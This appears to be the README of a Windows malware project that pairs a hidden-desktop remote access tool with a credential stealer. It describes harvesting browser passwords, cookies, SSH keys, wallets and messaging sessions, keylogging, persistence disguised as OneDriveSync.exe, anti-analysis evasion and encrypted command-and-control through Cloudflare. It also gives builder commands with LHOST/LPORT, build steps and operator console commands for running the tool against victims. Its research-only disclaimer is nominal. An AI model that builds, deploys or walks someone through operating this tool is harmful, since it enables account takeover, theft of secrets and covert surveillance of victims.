Misery + HVNC
a devoted sister of the Church of Malware
HVNC inspired by Ek0m's research, rebuilt on top of the Misery stealer.
- Hidden desktop (
hvnc start): run any app on a hidden desktop and watch it live - Ghosted browser (
ghost <url>): real Chrome/Edge session using the victim's cookies and logins - Credential and app-session harvesting (Misery stealer pipeline)
- Browsers: Chrome, Edge, Brave, Opera, Opera GX, Firefox
- Apps: Discord, Steam, Telegram, Slack, Signal, VS Code, AWS, SSH keys, Wi-Fi passwords, wallets
- Single encrypted C2 channel: reverse TCP (default) or HTTPS beaconing through a CDN
- Keylogger + clipboard monitoring (keystrokes tagged by session: hidden desktop vs the victim's desktop)
- Persistence (HKCU Run key + WMI event subscriptions)
- Anti-analysis (user-mode environment checks before connect)
- Reflective injection / offline DPAPI fallback for decryption
For local testing and research only.
Disclaimer
Educational/research use only. Run only on systems you own or have written permission to test, in an isolated lab. Authors take no responsibility for misuse.
Operator view
The console's live hidden-desktop feed, streamed from the agent and rendered in the view window:
VirusTotal scan
Which session to use
Ghosted session (ghost <url>) |
Hidden desktop (hvnc start) |
|
|---|---|---|
| Profile | Snapshot copy of the victim's profile (deleted on stop) | Victim's real, live profile |
| Browser | Chrome / Edge only | Any app + full desktop (explorer + Start menu) |
| Collides with open browser? | No | Yes (profile lock / two-instance conflict) |
| Writes back to profile? | No | Yes (history, cookies, sign-outs persist) |
| Use when | Authenticated browser session only | Full hidden desktop or non-browser app |
The stealer runs inside the browser via reflective injection when possible (passes process checks). Falls back to offline DPAPI in the agent process otherwise. Everything goes over one encrypted channel: agent streams frames/results, console forwards input and writes exfil to disk.
Quick start
setup.py is an msfvenom-style builder that writes src/config.h, the console's ECDH private key to .misery_key, and builds the project.
python setup.py -g
# or non-interactive:
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -o agent
.\build\console.exe # listener
.\build\agent.exe # connects
Console is a terminal (misery > prompt). Live view window opens for the hidden-desktop feed; input is forwarded.
Commands: steal, hvnc start | stop | launch [path], ghost <url> | stop, keylog, clip, clear, exit (type help for full list).
Steal summary example:
[+] steal done: 0 pw / 0 ck / 0 cards / 2 discord / 1 steam / 1 wallets / 1 wifi / 1 ssh / 1 vscode / 0 telegram / 0 slack / 0 signal / 0 aws -> loot-20260812_001608.json
Configuration
Priority: CLI (agent <host> [port]) > env (HVNC_C2_HOST, HVNC_C2_PORT) > src/config.h (generated by setup.py).
- Keypair lives only on the operator side (
.misery_key, gitignored). Only the public half is compiled into the agent. - Each TCP connection does a plaintext
KEY_EXCHANGEwith the agent's ephemeral key → AES-256-GCM session key. --rotate-keygenerates a new pair (orphans existing agents).
Persistence
Separate agent modes (register and exit):
| Flag | Effect |
|---|---|
--persist / --unpersist |
HKCU Run key (T1547.001). Copies to %APPDATA%\OneDriveSync.exe |
--persist-wmi / --unpersist-wmi |
Two WMI subscriptions (T1546.003): 15-min timer + guard that recreates the Run value |
Both point at the same %APPDATA% copy. Guard is idempotent.
CDN transport (Cloudflare)
python setup.py -t https_cdn
Emits deploy/worker.js + deploy/cloudflared-config.yml.
agent ──HTTPS──▶ Cloudflare Worker ──▶ Zero Trust Tunnel ──▶ console
Beacon carries the agent's ephemeral public key so the console can re-derive the session key. Worker validates an auth header and redirects through the tunnel (no public IP needed on the console).
Polls run on jittered intervals; failures back off exponentially (capped) and honor the worker's Retry-After on 429/503, so a slow or rate-limited relay is not hammered.
Build
Requires cmake and a C++ toolchain (MSVC, MinGW, or Clang).
MSVC:
cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
MinGW:
cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release
cmake --build build -j 4
The two asm trampolines ship as both GAS (.s, MinGW/Clang) and MASM (.asm, MSVC); CMake picks the dialect per compiler. The payload DLL is embedded into the agent as a generated byte array (cmake/embed_payload.cmake), so no objcopy is required on any toolchain.
Fresh checkout builds out of the box against 127.0.0.1:4444. Run setup.py once before the first live session so .misery_key exists.
Outputs
Written by the console in its working directory:
loot-<timestamp>.json(gitignored)keylog.txtclipboard.txt
Tested on Chrome/Edge, Windows 10/11 x64.
Layout
src/agent– entry, C2 client, injector, persistencesrc/console– operator console + listenersrc/payload– payload DLL, reflective loader, trampolinesrc/stealer– Misery-derived sourcessrc/hvnc– hidden-desktop sessionsrc/ghost– ghosted browser sessionsrc/browser– CDP client that drives the ghost browser (Page/Input over WebSocket)src/rat– keylogger + clipboardsrc/transport– encrypted TCP framing, HTTPS beacon carrier, compressionsrc/evasion– indirect syscalls, anti-analysis, helpersbuild/– out-of-source build dir
Licence
No licence granted. Research code for study only; not licensed for redistribution or commercial use.

